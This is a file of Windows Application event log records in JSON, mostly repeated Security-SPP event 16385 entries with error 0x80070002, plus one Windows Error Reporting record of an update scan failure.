{"@timestamp":1646914442117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167814}}
{"@timestamp":1646914472130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167815}}
{"@timestamp":1646914502143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167816}}
{"@timestamp":1646914532156,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167817}}
{"@timestamp":1646914562170,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167818}}
{"@timestamp":1646914592183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167819}}
{"@timestamp":1646914622197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167820}}
{"@timestamp":1646914652210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167821}}
{"@timestamp":1646914682224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167822}}
{"@timestamp":1646914712239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167823}}
{"@timestamp":1646914742253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167824}}
{"@timestamp":1646914772269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167825}}
{"@timestamp":1646914802285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167826}}
{"@timestamp":1646914832300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167827}}
{"@timestamp":1646914862317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167828}}
{"@timestamp":1646914892331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167829}}
{"@timestamp":1646914922347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167830}}
{"@timestamp":1646914952362,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167831}}
{"@timestamp":1646914982377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167832}}
{"@timestamp":1646915012393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167833}}
{"@timestamp":1646915042407,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167834}}
{"@timestamp":1646915061938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["","0","WindowsUpdateFailure3","Not available","0","10.0.14393.4651","8024401c","00000000-0000-0000-0000-000000000000","Scan","0","1","0","UpdateOrchestrator","{3DA21691-E39D-4DA6-8A4B-B43877BCB1B7}","0","","","","0","034c19cc-a06d-11ec-b81a-005056819b23","262144",""]}}},"module":"Application","provider":"Windows Error Reporting","sequence":167835}}
{"@timestamp":1646915072422,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167836}}
{"@timestamp":1646915102438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167837}}
{"@timestamp":1646915132452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167838}}
{"@timestamp":1646915162468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167839}}
{"@timestamp":1646915192483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167840}}
{"@timestamp":1646915222498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167841}}
{"@timestamp":1646915252515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167842}}
{"@timestamp":1646915282530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167843}}
{"@timestamp":1646915312552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167844}}
{"@timestamp":1646915342569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167845}}
{"@timestamp":1646915372576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167846}}
{"@timestamp":1646915402580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167847}}
{"@timestamp":1646915432584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167848}}
{"@timestamp":1646915462592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167849}}
{"@timestamp":1646915492597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167850}}
{"@timestamp":1646915522605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167851}}
{"@timestamp":1646915552613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167852}}
{"@timestamp":1646915582622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167853}}
{"@timestamp":1646915612634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167854}}
{"@timestamp":1646915642644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167855}}
{"@timestamp":1646915672656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167856}}
{"@timestamp":1646915702668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167857}}
{"@timestamp":1646915732679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167858}}
{"@timestamp":1646915762691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167859}}
{"@timestamp":1646915792721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167860}}
{"@timestamp":1646915822733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167861}}
{"@timestamp":1646915852746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167862}}
{"@timestamp":1646915882764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:02Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167863}}
{"@timestamp":1646915912822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:32Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167864}}
{"@timestamp":1646915943119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167865}}
{"@timestamp":1646915973135,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167866}}
{"@timestamp":1646916003149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167867}}
{"@timestamp":1646916033162,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167868}}
{"@timestamp":1646916063175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167869}}
{"@timestamp":1646916093189,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167870}}
{"@timestamp":1646916123204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167871}}
{"@timestamp":1646916153218,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167872}}
{"@timestamp":1646916183287,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167873}}
{"@timestamp":1646916213426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167874}}
{"@timestamp":1646916243441,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167875}}
{"@timestamp":1646916273456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167876}}
{"@timestamp":1646916303469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167877}}
{"@timestamp":1646916333483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167878}}
{"@timestamp":1646916363497,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167879}}
{"@timestamp":1646916393502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167880}}
{"@timestamp":1646916423571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:03Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167881}}
{"@timestamp":1646916453792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:33Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167882}}
{"@timestamp":1646916484439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167883}}
{"@timestamp":1646916514445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167884}}
{"@timestamp":1646916544450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167885}}
{"@timestamp":1646916574457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:34Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167886}}
{"@timestamp":1646916604781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:04Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167887}}
{"@timestamp":1646916635288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167888}}
{"@timestamp":1646916665298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167889}}
{"@timestamp":1646916695326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167890}}
{"@timestamp":1646916725356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167891}}
{"@timestamp":1646916755366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167892}}
{"@timestamp":1646916785378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167893}}
{"@timestamp":1646916815391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167894}}
{"@timestamp":1646916845403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167895}}
{"@timestamp":1646916875416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167896}}
{"@timestamp":1646916905448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167897}}
{"@timestamp":1646916935583,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167898}}
{"@timestamp":1646916965607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167899}}
{"@timestamp":1646916995750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167900}}
{"@timestamp":1646917025798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167901}}
{"@timestamp":1646917055820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167902}}
{"@timestamp":1646917085865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167903}}
{"@timestamp":1646917115883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167904}}
{"@timestamp":1646917145896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167905}}
{"@timestamp":1646917175978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167906}}
{"@timestamp":1646917206696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167907}}
{"@timestamp":1646917236769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167908}}
{"@timestamp":1646917266788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167909}}
{"@timestamp":1646917296800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167910}}
{"@timestamp":1646917326817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167911}}
{"@timestamp":1646917356833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167912}}
{"@timestamp":1646917386849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167913}}
{"@timestamp":1646917416861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167914}}
{"@timestamp":1646917446860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167915}}
{"@timestamp":1646917476859,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167916}}
{"@timestamp":1646917506893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167917}}
{"@timestamp":1646917536923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167918}}
{"@timestamp":1646917566927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167919}}
{"@timestamp":1646917597230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:12:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167920}}
{"@timestamp":1646917627693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":167921}}
